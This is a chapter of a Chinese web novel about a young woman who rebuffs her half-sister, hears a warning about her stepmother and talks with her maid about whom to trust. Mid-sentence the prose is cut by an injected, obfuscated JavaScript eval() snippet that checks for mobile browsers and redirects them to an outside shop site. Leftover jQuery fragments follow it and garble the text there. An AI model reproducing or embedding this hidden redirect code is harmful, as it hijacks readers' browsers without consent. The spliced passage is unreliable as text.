32. 她怎么可能相信这个人嘛

作品:《问谁千里伴君行

    第二日,方初见彻底酒醒。


    她将被子拉到头顶,回忆着自己醉酒后到底干了什么,又是如何回到房中的。


    昨晚的记忆缓缓地浮出脑海,明晃晃地展开在她眼前。


    虽说没干什么出格的事,但也没干什么好事就对了。


    于是,方初见决定戒酒。


    这是她本年度第一千次决定戒酒。


    香茗一脸看好戏地从房门外进来,她学着旦角上戏台的步伐,走到了方初见的床边。


    她用不伦不类的戏腔说:“我的小姐啊,你昨晚干什么去了?”


    方初见揉了揉乱糟糟的头发,随手拿起一个软枕,伴着一句没好气的“滚”扔向她。


    香茗“哎呦”一声,向后撤了半步,本想要躲开这一击,可惜预判失败了。


    被这么一打,她脸上的笑意更甚,故意扭扭捏捏地说:“哎呀,我还没说什么事呢!你干嘛这么激动,难不成心里有鬼?”


    方初见用手比了个刀,向下重重一砍:“我看你最近很闲啊。”


    她用威胁的语气说:“小心我把你发配到白青那边!他最近在隔壁城‘开荒’,忙得都脚不沾地了。”


    “别别别。”


    香茗熟练地滑跪到方初见的床边,单膝跪地捧住了她的手,狗腿到恨不得摇尾巴:“小的誓死追随方大人!”


    方初见一脸嫌弃地用另一只手推开了这人的脑袋:“有事启奏,无事退朝。”


    经这么一提醒,香茗才想起来自己来这里的真正目的。她一拍脑门,后知后觉地说:“差点忘了正事。”


    “你还记得方采薇吗?她一大早赶过来,吵着闹着要见你的面。”


    这大清早的,怎么开门见煞呢?


    这可不是好兆头。


    方初见扶额,懒得应付这家伙:“帮我打发走就行,我一点儿也不想见她。”


    “就说我今天很忙,没时间见她,有什么事情改天再说。”


    香茗唉声叹气,她有些为难地攥着自己的衣角,说:“我原本也是这么想的。”


    “按照您的规矩:今天这个日子,别说她方采薇,就是大人物来访,您也是不见的。”


    “我也跟方采薇讲过你很忙。可这家伙就像听不懂人话一样,我是好说歹说,愣是没劝动她分毫。”


    “这是铁了心要见您啊。”


    方初见一听这话,原本因为宿醉微疼的脑仁,突然更疼了一分。


    “就说我已经走了。”


    香茗的叹气声更大了,她痛心疾首地说:“您猜怎么着?这人天不亮就来了。”


    “我又不能不放人家进门,她现在就在外房候着呢。”


    香茗神秘兮兮地凑到方初见耳边,压低声音说:“不知道是表演程门立雪呢,还是憋了新的坏招呢。”


    “谁管她要干嘛?”


    既然好好说不行,那她也就没必要再理会这人。


    方初见翻身从床上下来,拿起熏了香衣物穿上,打着哈欠坐在铜镜前仔细整理自己的着装。


    “我说了不见就不见,别说她守在外房,就算站在我床前,我都不会和她多说一句话。”


    香茗站在她身后,熟练地帮她梳头发。


    因为接下来要去的地方特殊,她自作主张地从妆匣里捡出一朵白玉花,簪在了方初见的耳边。


    香茗看着镜子中的人,颇有些遗憾地说:“难得小姐穿的如此庄重,为了这样一个家伙,居然还得翻墙出门。”


    真是可恶至极。


    方初见蹙起了眉,幅度很小,像池中落入飞花时荡起的潋滟。


    她问:“谁跟你说我要翻墙出门?”


    就为了区区一个方采薇?


    方初见是经常翻墙,但不代表她连走方家正门的资格都没有。


    香茗似乎时有点没反应过来,她说:“方采薇在外房守着,你要是走正门肯定会被她逮个正着的。”


    不翻墙还能怎么出去?


    “去帮我打点水,我要洗漱。”


    方初见弹了一下香茗地额头,理所应当地扬起下巴:“她爱在这里等就在这里等,关我什么事?难不成是我让她来的?”


    她不仅不要偷偷走,还要大摇大摆、大大方方地从正门出去。


    香茗呆呆地问:“可是她等了很久欸,这样真的好吗?”


    多一事不如少一事嘛。


    “普通官员想要见我,尚且还得提前几天递帖子,求见几次我才会答应。”方初见的嘴角扯起一抹笑,抱臂说:“更别说方采薇和我还有过节。”


    “凭什么她等了我就要见她?来之前不会掂掂自己几斤几两吗?”


    方初见意味深长地说:“她既然想找不痛快,那就随她去喽。”


    香茗豁然开朗,她小跑着出门,心里默默地想:难怪自己当不了大人物,太容易被人架住。


    方初见常说,她最大的毛病就是不会自己动脑子想,需要有人告诉她做什么、怎么做才行。


    看来,距离她成为方初见独当一面的副手,还有一段距离。


    方初见整理好一切,按照她说的那样,大大方方地从走了出来。


    就像香茗说的那样,方采薇一瞧见她的身影,就赶忙上前拦住了她。


    “方初见,我想和你说几句话。”


    “哦,我不想听。”方初见面无表情地挥开了她的手,说:“无论是什么,我都不想听。”


    “还有,我现在要出门了,还希望你不要挡路。”


    方采薇听了这几句话,有点难为情地低下了头。她感到自己的眼眶有些发烫,强忍着这种酸楚,她有一次哀求道:“不会耽误你太长时间的。”


    “我记得刚刚给过你脸了。”


    方初见不轻不重地推了她一把,警示她快点让开:“我不想对小姑娘说太重的话,所以,你还是识趣一点为好。”


    方采薇咬咬牙,猛地扑向方初见,在被对方推开之前,快速凑到她耳边说:“小心一点母亲。”


    真有意思。


    这就开始狗咬狗了吗?


    方初见觉得好笑,为了攀上自己,这人居然出卖了自己的“同伙”。


    想来这方家母女之间,也不是情比金坚。


    方采薇肯定不知道,她的亲姐姐被她的这位母亲拉去,做了她的替死鬼


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17316349|198366||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。


    她与自己的母亲,可是过命的交情。


    方初见语气冷淡道:“这倒是不用妹妹特地来提醒一趟,我从来没对你们放心过。”


    “你根本就不懂!”


    方采薇低低呵了一声,她警惕地看过四周,确定周围没人后,才压着声音说:“你以为有权有钱就能从这个家里逃出去吗?别傻了。”


    “娘好像知道了一个有关你的秘密。”


    “我昨夜去她房中找她,原是想和她说说话。结果走到房门前时,突然听到她和弟弟在房中谈论有关你的事。”


    方初见闻言皱起了眉,她不用猜就知道那两个人在聊什么。


    无非就是,她不是真正的方家人,她是不知道从哪里冒出来的野孩子。


    只是,方夫人居然没有把这件事告诉方采薇吗?


    方采薇最后提醒了一句:“总之,他们可能会用这个要挟你干一些事情,你提防着些。”


    她看着自己的鞋,鞋尖上缀着一颗涂了漆的假珍珠。


    临别前,方采薇瓮声瓮气地低声说:“还你昨天救我的那笔账,我们扯平了。”


    “哦。”


    方初见觉得现在的情况有点喜感,她从来没指望任何人还所谓的人情债。


    她没有过多表示,回了句:“没别的事,我就先走了。”


    她不想和方家人有太多的纠缠,拉着香茗快快地远离了这个是非之地。


    在去方梅傲墓地的马车上,香茗忍不住问:“小姐,你真觉得方采薇是好人吗?”


    方初见气定神闲地依着靠窗的位置:“管她是好是坏,跟我们没关系。”


    “我有点不明白你的意思。”


    香茗拉着她的手,用力摇啊摇,让方初见将答案直接告诉她,别总是让她猜啊猜的。


    方初见偏偏不依她,想让香茗自己想出答案:“你觉得我能用得上她吗?”


    “……要是用上她,我们打探方夫人他们的消息岂不是更方便一些?”


    方初见捧着自己的手炉,觉得这孩子天真地可笑:“方家都快被我们渗透成纱布了,难道还缺她一个不成?”


    她竖起两根手指,说:“她现在来找我,最有可能是出于两种目的。”


    “一呢,是终于意识到,只有攀上我,她才有可能更上一层楼。”


    “二呢,她靠近我就是为了在关键时刻捅我一刀。”


    方初见问:“你觉得这两种里面,哪个对我更有利啊?”


    香茗回想着刚刚的场景,底气不足地说:“她刚刚好像还挺真情实感的。”


    方初见没有反驳,只是继续说道:“就算她是真的想报恩,和我又有什么关系呢?”


    “我为什么要冒险接受她?万一是她和方夫人串通好的怎么办?”


    “我要是相信这个,还不如直接把头砍下来送给仇人当球踢来的好些。”


    香茗下意识接话,问:“为什么这么想不开?”


    方初见拧住香茗的耳朵,皮笑肉不笑地说:“因为,我要这么蠢就离死不远了。”


    她混到今天,什么手段没见过,还能栽到一个小姑娘手里?